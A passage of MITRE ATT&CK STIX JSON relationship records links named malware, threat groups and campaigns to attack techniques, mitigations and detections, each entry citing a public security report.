2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1c2c698-e374-4ab1-b478-49e987d3a184","type":"relationship","created":"2021-04-14T19:19:30.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2021-04-14T19:19:30.049Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use the Windows COM API to schedule tasks and maintain persistence.(Citation: Eset Ramsay May 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1c2ca5b-6b10-4604-8c74-588878e7d69c","type":"relationship","created":"2021-06-18T15:26:55.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.703Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) impersonates the main thread of CExecSvc.exe by calling NtImpersonateThread.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1c96864-f698-44a7-924e-98203b97c8db","type":"relationship","created":"2021-08-03T18:39:12.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.802Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can upload data to dedicated per-victim folders in Dropbox.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1c979e0-3bcd-418c-9ab5-f00e92461b4f","created":"2024-08-05T18:19:42.831Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:19:42.831Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1caf188-3c6b-4b5c-82a5-38a37149f1b1","type":"relationship","created":"2022-01-25T15:10:25.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:10:25.628Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has acquired Amazon S3 buckets to use in C2.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1d0e2ed-3d68-4606-8a1c-3a78f9b55afe","type":"relationship","created":"2020-10-19T19:49:24.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:47.049Z","description":"Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1d5a985-406e-4b03-9f55-2706a2adba92","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-19T22:53:44.969Z","description":"[Fgdump](https://attack.mitre.org/software/S0120) can dump Windows password hashes.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1e3ae26-843a-4094-a8df-aef50d983b54","type":"relationship","created":"2021-09-22T21:57:30.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:57:30.275Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used a fronted domain to obfuscate its hard-coded C2 server domain.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1e6b3b2-4502-44f6-8340-128a0e3126a6","created":"2024-05-28T15:24:05.074Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T15:24:05.074Z","description":"[OutSteel](https://attack.mitre.org/software/S1017) attempts to download and execute [Saint Bot](https://attack.mitre.org/software/S1018) to a statically-defined location attempting to mimic svchost: %TEMP%\\\\svjhost.exe.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1eaa7b9-4320-4549-aaa5-f992aad3ae1e","type":"relationship","created":"2019-04-24T15:26:03.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.558Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1eda5c7-6843-406d-89b8-c61759c02450","created":"2019-05-24T17:57:36.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.226Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used Windows command-line to run commands.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1ef0014-9d3d-407a-aa86-8aab6c92edda","type":"relationship","created":"2021-01-29T19:04:19.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-08-30T23:07:30.377Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious files to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-03-17T16:25:23.448Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search through the Exchange server mailboxes for keywords.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2034fc3-e721-42ce-be50-d58668c5da4b","type":"relationship","created":"2021-09-29T00:30:23.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-29T00:30:23.818Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has decoded strings from the C2 server before executing commands.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2064ee3-66e3-4856-a376-e34b2ec9f90f","created":"2022-09-27T18:07:53.821Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:07:53.821Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used local account credentials found during the intrusion for lateral movement and privilege escalation.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2089e12-e97c-4b78-92fc-c5476faa43a9","created":"2024-06-14T20:22:03.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:52:47.700Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has used compromised email accounts to conduct spearphishing against\n contacts of the original victim.(Citation: CISA Star Blizzard Advisory December 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f212430d-160e-4676-b541-8a7cb818fe6f","created":"2022-04-01T14:08:23.863Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gmail Delegation","url":"https://support.google.com/a/answer/7223765?hl=en","description":"Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"If email delegation is not required, disable it. In Google Workspace this can be accomplished through the Google Admin console.(Citation: Gmail Delegation)","modified":"2022-04-21T15:55:16.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f21cd1d0-f4ea-4443-8835-c55e468363af","created":"2024-08-07T20:54:16.102Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:54:16.102Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) has been dropped by a self-extracting archive signed with a valid digital certificate.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f22106b0-ca8c-45ad-b20c-5a5ddd7bf886","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.820Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can use HTTP and HTTPS for command and control communication.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f22958eb-be19-4ae3-9899-2d77bd9a4acf","created":"2023-09-18T17:22:32.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.647Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `netstat` command.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f229e2fb-3105-4ae5-abe1-d100209f702c","type":"relationship","created":"2020-03-14T23:19:38.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-30T19:16:11.869Z","description":"If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be domain fronting.","relationship_type":"mitigates","source_ref":"course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f22a84ea-e4da-4a2c-8035-3eb972365bd3","type":"relationship","created":"2020-02-25T17:17:48.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"byt3bl33d3r NTLM Relaying","url":"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html","description":"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."},{"source_name":"Secure Ideas SMB Relay","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."},{"source_name":"Microsoft SMB Packet Signing","url":"https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)","description":"Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019."}],"modified":"2021-09-28T13:09:51.242Z","description":"Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f22dec38-256c-4f01-897e-bb6329530b60","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for changes made to windows registry keys or values that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2304e7f-50b3-41cc-81df-5c7baed21b89","created":"2024-05-22T22:56:01.224Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:56:01.224Z","description":"[BFG Agonizer](https://attack.mitre.org/software/S1136) wipes the boot sector of infected machines to inhibit system recovery.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f230afd5-2186-4d97-94ce-5ce3face8bc6","type":"relationship","created":"2020-06-19T21:25:43.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.983Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to maintain persistence by creating scheduled tasks set to run every hour.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2348cdc-9379-44e2-909c-56e52d2079c9","created":"2024-08-27T18:51:04.640Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 